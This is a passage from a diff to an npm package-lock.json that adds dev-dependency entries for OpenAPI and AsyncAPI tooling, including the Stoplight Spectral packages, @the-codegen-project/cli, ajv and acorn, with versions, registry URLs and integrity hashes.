+ "node_modules/@protobufjs/utf8": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/@protobufjs/utf8/-/utf8-1.1.2.tgz",
+ "integrity": "sha512-b1UQwcEZ4yCnMCD8DAL1VlbvBJE9/IX4FTIp7BG1xYpf29SLazLSrqUkj4w7Y5y7cCVP6E5tcqqcI0xemPkHug==",
+ "dev": true,
+ "license": "BSD-3-Clause"
+ },
+ "node_modules/@readme/better-ajv-errors": {
+ "version": "2.4.0",
+ "resolved": "https://registry.npmjs.org/@readme/better-ajv-errors/-/better-ajv-errors-2.4.0.tgz",
+ "integrity": "sha512-9WODaOAKSl/mU+MYNZ2aHCrkoRSvmQ+1YkLj589OEqqjOAhbn8j7Z+ilYoiTu/he6X63/clsxxAB4qny9/dDzg==",
+ "dev": true,
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@babel/code-frame": "^7.22.5",
+ "@babel/runtime": "^7.22.5",
+ "@humanwhocodes/momoa": "^2.0.3",
+ "jsonpointer": "^5.0.0",
+ "leven": "^3.1.0",
+ "picocolors": "^1.1.1"
+ },
+ "engines": {
+ "node": ">=18"
+ },
+ "peerDependencies": {
+ "ajv": "4.11.8 - 8"
+ }
+ },
+ "node_modules/@readme/openapi-parser": {
+ "version": "5.5.0",
+ "resolved": "https://registry.npmjs.org/@readme/openapi-parser/-/openapi-parser-5.5.0.tgz",
+ "integrity": "sha512-uY9+3ouf6NWd/ck5PzlhcRwvRFLDd9ajRsMzZPp/iqdReGgPR7m8xEXtCYbLTGXJZcrDgYyNsHUL7e87Wsh+ew==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@apidevtools/json-schema-ref-parser": "^14.1.1",
+ "@readme/better-ajv-errors": "^2.3.2",
+ "@readme/openapi-schemas": "^3.1.0",
+ "@types/json-schema": "^7.0.15",
+ "ajv": "^8.12.0",
+ "ajv-draft-04": "^1.0.0"
+ },
+ "engines": {
+ "node": ">=20"
+ },
+ "peerDependencies": {
+ "openapi-types": ">=7"
+ }
+ },
+ "node_modules/@readme/openapi-schemas": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/@readme/openapi-schemas/-/openapi-schemas-3.1.0.tgz",
+ "integrity": "sha512-9FC/6ho8uFa8fV50+FPy/ngWN53jaUu4GRXlAjcxIRrzhltJnpKkBG2Tp0IDraFJeWrOpk84RJ9EMEEYzaI1Bw==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@scarf/scarf": {
+ "version": "1.4.0",
+ "resolved": "https://registry.npmjs.org/@scarf/scarf/-/scarf-1.4.0.tgz",
+ "integrity": "sha512-xxeapPiUXdZAE3che6f3xogoJPeZgig6omHEy1rIY5WVsB3H2BHNnZH+gHG6x91SCWyQCzWGsuL2Hh3ClO5/qQ==",
+ "dev": true,
+ "hasInstallScript": true,
+ "license": "Apache-2.0"
+ },
+ "node_modules/@stoplight/better-ajv-errors": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/@stoplight/better-ajv-errors/-/better-ajv-errors-1.0.3.tgz",
+ "integrity": "sha512-0p9uXkuB22qGdNfy3VeEhxkU5uwvp/KrBTAbrLBURv6ilxIVwanKwjMc41lQfIVgPGcOkmLbTolfFrSsueu7zA==",
+ "dev": true,
+ "license": "Apache-2.0",
+ "dependencies": {
+ "jsonpointer": "^5.0.0",
+ "leven": "^3.1.0"
+ },
+ "engines": {
+ "node": "^12.20 || >= 14.13"
+ },
+ "peerDependencies": {
+ "ajv": ">=8"
+ }
+ },
+ "node_modules/@stoplight/json": {
+ "version": "3.21.0",
+ "resolved": "https://registry.npmjs.org/@stoplight/json/-/json-3.21.0.tgz",
+ "integrity": "sha512-5O0apqJ/t4sIevXCO3SBN9AHCEKKR/Zb4gaj7wYe5863jme9g02Q0n/GhM7ZCALkL+vGPTe4ZzTETP8TFtsw3g==",
+ "dev": true,
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@stoplight/ordered-object-literal": "^1.0.3",
+ "@stoplight/path": "^1.3.2",
+ "@stoplight/types": "^13.6.0",
+ "jsonc-parser": "~2.2.1",
+ "lodash": "^4.17.21",
+ "safe-stable-stringify": "^1.1"
+ },
+ "engines": {
+ "node": ">=8.3.0"
+ }
+ },
+ "node_modules/@stoplight/json-ref-readers": {
+ "version": "1.2.2",
+ "resolved": "https://registry.npmjs.org/@stoplight/json-ref-readers/-/json-ref-readers-1.2.2.tgz",
+ "integrity": "sha512-nty0tHUq2f1IKuFYsLM4CXLZGHdMn+X/IwEUIpeSOXt0QjMUbL0Em57iJUDzz+2MkWG83smIigNZ3fauGjqgdQ==",
+ "dev": true,
+ "license": "Apache-2.0",
+ "dependencies": {
+ "node-fetch": "^2.6.0",
+ "tslib": "^1.14.1"
+ },
+ "engines": {
+ "node": ">=8.3.0"
+ }
+ },
+ "node_modules/@stoplight/json-ref-resolver": {
+ "version": "3.1.6",
+ "resolved": "https://registry.npmjs.org/@stoplight/json-ref-resolver/-/json-ref-resolver-3.1.6.tgz",
+ "integrity": "sha512-YNcWv3R3n3U6iQYBsFOiWSuRGE5su1tJSiX6pAPRVk7dP0L7lqCteXGzuVRQ0gMZqUl8v1P0+fAKxF6PLo9B5A==",
+ "dev": true,
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@stoplight/json": "^3.21.0",
+ "@stoplight/path": "^1.3.2",
+ "@stoplight/types": "^12.3.0 || ^13.0.0",
+ "@types/urijs": "^1.19.19",
+ "dependency-graph": "~0.11.0",
+ "fast-memoize": "^2.5.2",
+ "immer": "^9.0.6",
+ "lodash": "^4.17.21",
+ "tslib": "^2.6.0",
+ "urijs": "^1.19.11"
+ },
+ "engines": {
+ "node": ">=8.3.0"
+ }
+ },
+ "node_modules/@stoplight/json-ref-resolver/node_modules/tslib": {
+ "version": "2.8.1",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
+ "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
+ "dev": true,
+ "license": "0BSD"
+ },
+ "node_modules/@stoplight/ordered-object-literal": {
+ "version": "1.0.5",
+ "resolved": "https://registry.npmjs.org/@stoplight/ordered-object-literal/-/ordered-object-literal-1.0.5.tgz",
+ "integrity": "sha512-COTiuCU5bgMUtbIFBuyyh2/yVVzlr5Om0v5utQDgBCuQUOPgU1DwoffkTfg4UBQOvByi5foF4w4T+H9CoRe5wg==",
+ "dev": true,
+ "license": "Apache-2.0",
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/@stoplight/path": {
+ "version": "1.3.2",
+ "resolved": "https://registry.npmjs.org/@stoplight/path/-/path-1.3.2.tgz",
+ "integrity": "sha512-lyIc6JUlUA8Ve5ELywPC8I2Sdnh1zc1zmbYgVarhXIp9YeAB0ReeqmGEOWNtlHkbP2DAA1AL65Wfn2ncjK/jtQ==",
+ "dev": true,
+ "license": "Apache-2.0",
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/@stoplight/spectral-core": {
+ "version": "1.23.1",
+ "resolved": "https://registry.npmjs.org/@stoplight/spectral-core/-/spectral-core-1.23.1.tgz",
+ "integrity": "sha512-VLC8OhpO/pMJKb6IHhurxJjXO1qB56Ng1unIb8b+hNxdw0+SEcASvmR+RpjfHYX/jv/DfSaA1x8QhFBJBmqBOQ==",
+ "dev": true,
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@scarf/scarf": "^1.4.0",
+ "@stoplight/better-ajv-errors": "1.0.3",
+ "@stoplight/json": "~3.21.0",
+ "@stoplight/path": "1.3.2",
+ "@stoplight/spectral-parsers": "^1.0.0",
+ "@stoplight/spectral-ref-resolver": "^1.0.4",
+ "@stoplight/spectral-runtime": "^1.1.2",
+ "@stoplight/types": "~13.6.0",
+ "@types/es-aggregate-error": "^1.0.2",
+ "@types/json-schema": "^7.0.11",
+ "ajv": "^8.18.0",
+ "ajv-errors": "~3.0.0",
+ "ajv-formats": "~2.1.1",
+ "es-aggregate-error": "^1.0.7",
+ "expr-eval-fork": "^3.0.1",
+ "jsonpath-plus": "^10.3.0",
+ "lodash": "^4.18.1",
+ "lodash.topath": "^4.5.2",
+ "minimatch": "^3.1.4",
+ "nimma": "0.2.3",
+ "pony-cause": "^1.1.1",
+ "tslib": "^2.8.1"
+ },
+ "engines": {
+ "node": "^16.20 || ^18.18 || >= 20.17"
+ }
+ },
+ "node_modules/@stoplight/spectral-core/node_modules/@stoplight/types": {
+ "version": "13.6.0",
+ "resolved": "https://registry.npmjs.org/@stoplight/types/-/types-13.6.0.tgz",
+ "integrity": "sha512-dzyuzvUjv3m1wmhPfq82lCVYGcXG0xUYgqnWfCq3PCVR4BKFhjdkHrnJ+jIDoMKvXb05AZP/ObQF6+NpDo29IQ==",
+ "dev": true,
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@types/json-schema": "^7.0.4",
+ "utility-types": "^3.10.0"
+ },
+ "engines": {
+ "node": "^12.20 || >=14.13"
+ }
+ },
+ "node_modules/@stoplight/spectral-core/node_modules/brace-expansion": {
+ "version": "1.1.16",
+ "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.16.tgz",
+ "integrity": "sha512-IDw48K2/2kRkg9LdJxurvq3lV3aBgq0REY89duEqFRthjlPdXHKMj7EnQOXVckxzgisinf3nHfrcE2FufFLXMw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "balanced-match": "^1.0.0",
+ "concat-map": "0.0.1"
+ }
+ },
+ "node_modules/@stoplight/spectral-core/node_modules/minimatch": {
+ "version": "3.1.5",
+ "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz",
+ "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==",
+ "dev": true,
+ "license": "ISC",
+ "dependencies": {
+ "brace-expansion": "^1.1.7"
+ },
+ "engines": {
+ "node": "*"
+ }
+ },
+ "node_modules/@stoplight/spectral-core/node_modules/tslib": {
+ "version": "2.8.1",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
+ "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
+ "dev": true,
+ "license": "0BSD"
+ },
+ "node_modules/@stoplight/spectral-formats": {
+ "version": "1.8.5",
+ "resolved": "https://registry.npmjs.org/@stoplight/spectral-formats/-/spectral-formats-1.8.5.tgz",
+ "integrity": "sha512-xaC0rCH0p7/bzNJsz+JgLSj+Cp6uwYGWpePQxdLkF2G6a8Zyp3OyS7umkGYNiimEwKrOjvCNNTFJpeuiENZSBA==",
+ "dev": true,
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@scarf/scarf": "^1.4.0",
+ "@stoplight/json": "^3.17.0",
+ "@stoplight/spectral-core": "^1.23.0",
+ "@types/json-schema": "^7.0.7",
+ "tslib": "^2.8.1"
+ },
+ "engines": {
+ "node": "^16.20 || ^18.18 || >= 20.17"
+ }
+ },
+ "node_modules/@stoplight/spectral-formats/node_modules/tslib": {
+ "version": "2.8.1",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
+ "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
+ "dev": true,
+ "license": "0BSD"
+ },
+ "node_modules/@stoplight/spectral-functions": {
+ "version": "1.10.5",
+ "resolved": "https://registry.npmjs.org/@stoplight/spectral-functions/-/spectral-functions-1.10.5.tgz",
+ "integrity": "sha512-vDCd0NJ93715bcUpZZ5vNHiyxd4cgHF6tuXsDiXOXKAByg+I1fR5/dMijEo6Ce1Lz95a+RZ22JKYhF1YuzVvuA==",
+ "dev": true,
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@scarf/scarf": "^1.4.0",
+ "@stoplight/better-ajv-errors": "1.0.3",
+ "@stoplight/json": "^3.17.1",
+ "@stoplight/spectral-core": "^1.23.0",
+ "@stoplight/spectral-formats": "^1.8.1",
+ "@stoplight/spectral-runtime": "^1.1.2",
+ "ajv": "^8.18.0",
+ "ajv-draft-04": "~1.0.0",
+ "ajv-errors": "~3.0.0",
+ "ajv-formats": "~2.1.1",
+ "lodash": "^4.18.1",
+ "tslib": "^2.8.1"
+ },
+ "engines": {
+ "node": "^16.20 || ^18.18 || >= 20.17"
+ }
+ },
+ "node_modules/@stoplight/spectral-functions/node_modules/tslib": {
+ "version": "2.8.1",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
+ "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
+ "dev": true,
+ "license": "0BSD"
+ },
+ "node_modules/@stoplight/spectral-parsers": {
+ "version": "1.0.5",
+ "resolved": "https://registry.npmjs.org/@stoplight/spectral-parsers/-/spectral-parsers-1.0.5.tgz",
+ "integrity": "sha512-ANDTp2IHWGvsQDAY85/jQi9ZrF4mRrA5bciNHX+PUxPr4DwS6iv4h+FVWJMVwcEYdpyoIdyL+SRmHdJfQEPmwQ==",
+ "dev": true,
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@stoplight/json": "~3.21.0",
+ "@stoplight/types": "^14.1.1",
+ "@stoplight/yaml": "~4.3.0",
+ "tslib": "^2.8.1"
+ },
+ "engines": {
+ "node": "^16.20 || ^18.18 || >= 20.17"
+ }
+ },
+ "node_modules/@stoplight/spectral-parsers/node_modules/@stoplight/types": {
+ "version": "14.1.1",
+ "resolved": "https://registry.npmjs.org/@stoplight/types/-/types-14.1.1.tgz",
+ "integrity": "sha512-/kjtr+0t0tjKr+heVfviO9FrU/uGLc+QNX3fHJc19xsCNYqU7lVhaXxDmEID9BZTjG+/r9pK9xP/xU02XGg65g==",
+ "dev": true,
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@types/json-schema": "^7.0.4",
+ "utility-types": "^3.10.0"
+ },
+ "engines": {
+ "node": "^12.20 || >=14.13"
+ }
+ },
+ "node_modules/@stoplight/spectral-parsers/node_modules/tslib": {
+ "version": "2.8.1",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
+ "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
+ "dev": true,
+ "license": "0BSD"
+ },
+ "node_modules/@stoplight/spectral-ref-resolver": {
+ "version": "1.0.5",
+ "resolved": "https://registry.npmjs.org/@stoplight/spectral-ref-resolver/-/spectral-ref-resolver-1.0.5.tgz",
+ "integrity": "sha512-gj3TieX5a9zMW29z3mBlAtDOCgN3GEc1VgZnCVlr5irmR4Qi5LuECuFItAq4pTn5Zu+sW5bqutsCH7D4PkpyAA==",
+ "dev": true,
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@stoplight/json-ref-readers": "1.2.2",
+ "@stoplight/json-ref-resolver": "~3.1.6",
+ "@stoplight/spectral-runtime": "^1.1.2",
+ "dependency-graph": "0.11.0",
+ "tslib": "^2.8.1"
+ },
+ "engines": {
+ "node": "^16.20 || ^18.18 || >= 20.17"
+ }
+ },
+ "node_modules/@stoplight/spectral-ref-resolver/node_modules/tslib": {
+ "version": "2.8.1",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
+ "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
+ "dev": true,
+ "license": "0BSD"
+ },
+ "node_modules/@stoplight/spectral-runtime": {
+ "version": "1.1.6",
+ "resolved": "https://registry.npmjs.org/@stoplight/spectral-runtime/-/spectral-runtime-1.1.6.tgz",
+ "integrity": "sha512-Y8rEDyMN4bSMJCrDs2shdcVHYyCnH3FvXRP4dBhha4Z8iJv+JPp7KqOV/hwVB/hWFC209upiwj2oDmLfR0qCDg==",
+ "dev": true,
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@stoplight/json": "^3.20.1",
+ "@stoplight/path": "^1.3.2",
+ "@stoplight/types": "^13.6.0",
+ "lodash": "^4.18.1",
+ "node-fetch": "^2.7.0",
+ "tslib": "^2.8.1"
+ },
+ "engines": {
+ "node": "^16.20 || ^18.18 || >= 20.17"
+ }
+ },
+ "node_modules/@stoplight/spectral-runtime/node_modules/node-fetch": {
+ "version": "2.7.0",
+ "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.7.0.tgz",
+ "integrity": "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "whatwg-url": "^5.0.0"
+ },
+ "engines": {
+ "node": "4.x || >=6.0.0"
+ },
+ "peerDependencies": {
+ "encoding": "^0.1.0"
+ },
+ "peerDependenciesMeta": {
+ "encoding": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@stoplight/spectral-runtime/node_modules/tslib": {
+ "version": "2.8.1",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
+ "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
+ "dev": true,
+ "license": "0BSD"
+ },
+ "node_modules/@stoplight/types": {
+ "version": "13.20.0",
+ "resolved": "https://registry.npmjs.org/@stoplight/types/-/types-13.20.0.tgz",
+ "integrity": "sha512-2FNTv05If7ib79VPDA/r9eUet76jewXFH2y2K5vuge6SXbRHtWBhcaRmu+6QpF4/WRNoJj5XYRSwLGXDxysBGA==",
+ "dev": true,
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@types/json-schema": "^7.0.4",
+ "utility-types": "^3.10.0"
+ },
+ "engines": {
+ "node": "^12.20 || >=14.13"
+ }
+ },
+ "node_modules/@stoplight/yaml": {
+ "version": "4.3.0",
+ "resolved": "https://registry.npmjs.org/@stoplight/yaml/-/yaml-4.3.0.tgz",
+ "integrity": "sha512-JZlVFE6/dYpP9tQmV0/ADfn32L9uFarHWxfcRhReKUnljz1ZiUM5zpX+PH8h5CJs6lao3TuFqnPm9IJJCEkE2w==",
+ "dev": true,
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@stoplight/ordered-object-literal": "^1.0.5",
+ "@stoplight/types": "^14.1.1",
+ "@stoplight/yaml-ast-parser": "0.0.50",
+ "tslib": "^2.2.0"
+ },
+ "engines": {
+ "node": ">=10.8"
+ }
+ },
+ "node_modules/@stoplight/yaml-ast-parser": {
+ "version": "0.0.50",
+ "resolved": "https://registry.npmjs.org/@stoplight/yaml-ast-parser/-/yaml-ast-parser-0.0.50.tgz",
+ "integrity": "sha512-Pb6M8TDO9DtSVla9yXSTAxmo9GVEouq5P40DWXdOie69bXogZTkgvopCq+yEvTMA0F6PEvdJmbtTV3ccIp11VQ==",
+ "dev": true,
+ "license": "Apache-2.0"
+ },
+ "node_modules/@stoplight/yaml/node_modules/@stoplight/types": {
+ "version": "14.1.1",
+ "resolved": "https://registry.npmjs.org/@stoplight/types/-/types-14.1.1.tgz",
+ "integrity": "sha512-/kjtr+0t0tjKr+heVfviO9FrU/uGLc+QNX3fHJc19xsCNYqU7lVhaXxDmEID9BZTjG+/r9pK9xP/xU02XGg65g==",
+ "dev": true,
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@types/json-schema": "^7.0.4",
+ "utility-types": "^3.10.0"
+ },
+ "engines": {
+ "node": "^12.20 || >=14.13"
+ }
+ },
+ "node_modules/@stoplight/yaml/node_modules/tslib": {
+ "version": "2.8.1",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
+ "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
+ "dev": true,
+ "license": "0BSD"
+ },
+ "node_modules/@the-codegen-project/cli": {
+ "version": "0.79.0",
+ "resolved": "https://registry.npmjs.org/@the-codegen-project/cli/-/cli-0.79.0.tgz",
+ "integrity": "sha512-bWoSsdQDDsSbaYfPvQ8n5WR+L8fSBOaxUAUmtGrttzsTfQHvn6IAXwgQaGRUi9YjW99G0cQdjUDe0nyQNZw4UQ==",
+ "dev": true,
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@apidevtools/json-schema-ref-parser": "^14.2.0",
+ "@asyncapi/avro-schema-parser": "^3.0.24",
+ "@asyncapi/modelina": "^6.0.0-next.14",
+ "@asyncapi/openapi-schema-parser": "^3.0.24",
+ "@asyncapi/parser": "^3.6.0",
+ "@asyncapi/protobuf-schema-parser": "^3.5.1",
+ "@asyncapi/raml-dt-schema-parser": "^4.0.24",
+ "@oclif/core": "^3.26.3",
+ "@oclif/errors": "^1.3.6",
+ "@oclif/plugin-autocomplete": "^3.2.45",
+ "@oclif/plugin-help": "^6.0.21",
+ "@oclif/plugin-version": "^2.0.17",
+ "@readme/openapi-parser": "^5.0.1",
+ "chokidar": "^4.0.3",
+ "comment-json": "^4.6.2",
+ "cosmiconfig": "^9.0.0",
+ "graphology": "^0.26.0",
+ "inquirer": "^8.2.6",
+ "openapi-types": "^12.1.3",
+ "picocolors": "^1.1.1",
+ "uuid": "^11.1.0",
+ "yaml": "^2.8.0",
+ "zod": "^3.25.76",
+ "zod-validation-error": "^3.3.0"
+ },
+ "bin": {
+ "codegen": "bin/run.mjs"
+ },
+ "engines": {
+ "node": ">=22.0.0"
+ }
+ },
+ "node_modules/@tsconfig/node10": {
+ "version": "1.0.12",
+ "resolved": "https://registry.npmjs.org/@tsconfig/node10/-/node10-1.0.12.tgz",
+ "integrity": "sha512-UCYBaeFvM11aU2y3YPZ//O5Rhj+xKyzy7mvcIoAjASbigy8mHMryP5cK7dgjlz2hWxh1g5pLw084E0a/wlUSFQ==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/@tsconfig/node12": {
+ "version": "1.0.11",
+ "resolved": "https://registry.npmjs.org/@tsconfig/node12/-/node12-1.0.11.tgz",
+ "integrity": "sha512-cqefuRsh12pWyGsIoBKJA9luFu3mRxCA+ORZvA4ktLSzIuCUtWVxGIuXigEwO5/ywWFMZ2QEGKWvkZG1zDMTag==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/@tsconfig/node14": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/@tsconfig/node14/-/node14-1.0.3.tgz",
+ "integrity": "sha512-ysT8mhdixWK6Hw3i1V2AeRqZ5WfXg1G43mqoYlM2nc6388Fq5jcXyr5mRsqViLx/GJYdoL0bfXD8nmF+Zn/Iow==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/@tsconfig/node16": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/@tsconfig/node16/-/node16-1.0.4.tgz",
+ "integrity": "sha512-vxhUy4J8lyeyinH7Azl1pdd43GJhZH/tP2weN8TntQblOY+A0XbT8DJk1/oCPuOOyg/Ja757rG0CgHcWC8OfMA==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/@types/cli-progress": {
+ "version": "3.11.6",
+ "resolved": "https://registry.npmjs.org/@types/cli-progress/-/cli-progress-3.11.6.tgz",
+ "integrity": "sha512-cE3+jb9WRlu+uOSAugewNpITJDt1VF8dHOopPO4IABFc3SXYL5WE/+PTz/FCdZRRfIujiWW3n3aMbv1eIGVRWA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@types/node": "*"
+ }
+ },
+ "node_modules/@types/es-aggregate-error": {
+ "version": "1.0.6",
+ "resolved": "https://registry.npmjs.org/@types/es-aggregate-error/-/es-aggregate-error-1.0.6.tgz",
+ "integrity": "sha512-qJ7LIFp06h1QE1aVxbVd+zJP2wdaugYXYfd6JxsyRMrYHaxb6itXPogW2tz+ylUJ1n1b+JF1PHyYCfYHm0dvUg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@types/node": "*"
+ }
+ },
+ "node_modules/@types/json-schema": {
+ "version": "7.0.15",
+ "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.15.tgz",
+ "integrity": "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/@types/node": {
+ "version": "26.1.1",
+ "resolved": "https://registry.npmjs.org/@types/node/-/node-26.1.1.tgz",
+ "integrity": "sha512-nxAkRSVkN1Y0JC1W8ky/fTfkGsMmcrRsbx+3XoZE+rMOX71kLYTV7fLXpqud1GpbpP5TuffXFqfX7fH2GgZREw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "undici-types": "~8.3.0"
+ }
+ },
+ "node_modules/@types/protocol-buffers-schema": {
+ "version": "3.4.3",
+ "resolved": "https://registry.npmjs.org/@types/protocol-buffers-schema/-/protocol-buffers-schema-3.4.3.tgz",
+ "integrity": "sha512-8cCg6BiIj4jS0LXUFq3sndmd46yyPLYqMzvXLcTM1MRubh3sfZlQiehoCjGDxSHTqGSjjx8EtVNryIAl0njQWg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@types/node": "*"
+ }
+ },
+ "node_modules/@types/urijs": {
+ "version": "1.19.26",
+ "resolved": "https://registry.npmjs.org/@types/urijs/-/urijs-1.19.26.tgz",
+ "integrity": "sha512-wkXrVzX5yoqLnndOwFsieJA7oKM8cNkOKJtf/3vVGSUFkWDKZvFHpIl9Pvqb/T9UsawBBFMTTD8xu7sK5MWuvg==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/acorn": {
+ "version": "8.17.0",
+ "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.17.0.tgz",
+ "integrity": "sha512-xRQbDb9BnwDafYNn6Vwl839DYVjqXYb1XVGtWAZ1kcDc6iwAL4hg3B1dZlRiuENFeO2H53gFG3in621AdERVAg==",
+ "dev": true,
+ "license": "MIT",
+ "bin": {
+ "acorn": "bin/acorn"
+ },
+ "engines": {
+ "node": ">=0.4.0"
+ }
+ },
+ "node_modules/acorn-walk": {
+ "version": "8.3.5",
+ "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-8.3.5.tgz",
+ "integrity": "sha512-HEHNfbars9v4pgpW6SO1KSPkfoS0xVOM/9UzkJltjlsHZmJasxg8aXkuZa7SMf8vKGIBhpUsPluQSqhJFCqebw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "acorn": "^8.11.0"
+ },
+ "engines": {
+ "node": ">=0.4.0"
+ }
+ },
+ "node_modules/ajv": {
+ "version": "8.20.0",
+ "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.20.0.tgz",
+ "integrity": "sha512-Thbli+OlOj+iMPYFBVBfJ3OmCAnaSyNn4M1vz9T6Gka5Jt9ba/HIR56joy65tY6kx/FCF5VXNB819Y7/GUrBGA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "fast-deep-equal": "^3.1.3",
+ "fast-uri": "^3.0.1",
+ "json-schema-traverse": "^1.0.0",
+ "require-from-string": "^2.0.2"
+ },
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/epoberezkin"
+ }
+ },
+ "node_modules/ajv-draft-04": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/ajv-draft-04/-/ajv-draft-04-1.0.0.tgz",
+ "integrity": "sha512-mv00Te6nmYbRp5DCwclxtt7yV/joXJPGS7nM+97GdxvuttCOfgI3K4U25zboyeX0O+myI8ERluxQe5wljMmVIw==",
+ "dev": true,
+ "license": "MIT",
+ "peerDependencies": {
+ "ajv": "^8.5.0"
+ },
+ "peerDependenciesMeta": {
+ "ajv": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/ajv-errors": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/ajv-errors/-/ajv-errors-3.0.0.tgz",
+ "integrity": "sha512-V3wD15YHfHz6y0KdhYFjyy9vWtEVALT9UrxfN3zqlI6dMioHnJrqOYfyPKol3oqrnCM9uwkcdCwkJ0WUcbLMTQ==",
+ "dev": true,
+ "license": "MIT",
+ "peerDependencies": {
+ "ajv": "^8.0.1"
+ }
+ },
+ "node_modules/ajv-formats": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/ajv-formats/-/ajv-formats-2.1.1.tgz",
+ "integrity": "sha512-Wx0Kx52hxE7C18hkMEggYlEifqWZtYaRgouJor+WMdPnQyEK13vgEWyVNup7SoeeoLMsr4kf5h6dOW11I15MUA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "ajv": "^8.0.0"
+ },
+ "peerDependencies": {
+ "ajv": "^8.0.0"
+ },
+ "peerDependenciesMeta": {
+ "ajv": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/ansi-escapes": {
+ "version": "4.3.2",
+ "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-4.3.2.tgz",
